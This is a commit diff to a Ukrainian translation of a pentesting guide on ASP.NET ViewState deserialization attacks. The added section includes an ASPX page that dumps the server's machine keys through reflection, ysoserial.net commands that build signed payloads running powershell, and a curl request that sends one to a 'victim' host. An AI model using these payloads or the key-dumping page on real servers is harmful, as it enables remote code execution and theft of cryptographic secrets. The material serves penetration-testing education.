Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:11:39 +00:00
parent 2c08e8d7b4
commit 7a49c494fa

View File

@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates існує утиліта "python blacklist3r", яка є найшвидшим способом її використання.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
Її можна забезпечити viewstate та генератором безпосередньо:
```
@ -108,7 +108,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
```
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
У цьому випадку невідомо, чи захищений параметр за допомогою MAC. Тоді значення, ймовірно, зашифроване, і вам **потрібен Machine Key для шифрування вашого payload** для експлуатації вразливості.
У цьому випадку не відомо, чи параметр захищений за допомогою MAC. Тоді значення, ймовірно, зашифроване, і вам **потрібен Machine Key для шифрування вашого payload** для експлуатації вразливості.
**У цьому випадку** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **модуль знаходиться в розробці...**
@ -120,7 +120,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
### Test Case: 4 .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
Ми можемо примусити використання ASP.NET фреймворку, вказавши нижче параметр у файлі web.config, як показано нижче.
Ми можемо примусити використання ASP.NET фреймворку, вказавши нижченаведений параметр у файлі web.config, як показано нижче.
```xml
<httpRuntime targetFramework="4.5" />
```
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Для більш детального опису для IISDirPath та TargetPagePath [зверніться сюди](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Для більш детального опису для IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Або, з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора):
```bash
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом до сервера, контрольованого зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Тестовий випадок 6 Використовується ViewStateUserKeys
@ -166,15 +166,46 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
```
### Результат успішної експлуатації <a href="#poc" id="poc"></a>
Для всіх тестових випадків, якщо корисне навантаження ViewState YSoSerial.Net працює **успішно**, то сервер відповідає з “**500 Internal server error**”, маючи вміст відповіді “**Інформація про стан недійсна для цієї сторінки і може бути пошкоджена**” і ми отримуємо OOB запит.
Для всіх тестових випадків, якщо корисне навантаження ViewState YSoSerial.Net працює **успішно**, то сервер відповідає з “**500 Internal server error**”, маючи вміст відповіді “**Інформація про стан недійсна для цієї сторінки і може бути пошкоджена**”, і ми отримуємо OOB запит.
Перевірте [додаткову інформацію тут](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Витягування ключів машини ASP.NET через рефлексію (SharPyShell/SharePoint ToolShell)
Зловмисники, які можуть **завантажувати або виконувати довільний код ASPX** всередині кореня веб-сайту, можуть безпосередньо отримати секретні ключі, які захищають `__VIEWSTATE`, замість того, щоб їх брутфорсити. Мінімальне навантаження, яке витікає ключі, використовує внутрішні класи .NET через рефлексію:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
Запит сторінки виводить **ValidationKey**, **DecryptionKey**, алгоритм шифрування та режим сумісності ASP.NET. Ці значення тепер можна безпосередньо використовувати в **ysoserial.net** для створення дійсного, підписаного гаджета `__VIEWSTATE`:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Цей **примітив екстракції ключів** масово експлуатувався проти локальних серверів SharePoint у 2025 році ("ToolShell" CVE-2025-53770/53771), але він застосовний до будь-якого ASP.NET додатку, де зловмисник може виконувати код на стороні сервера.
## Посилання
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}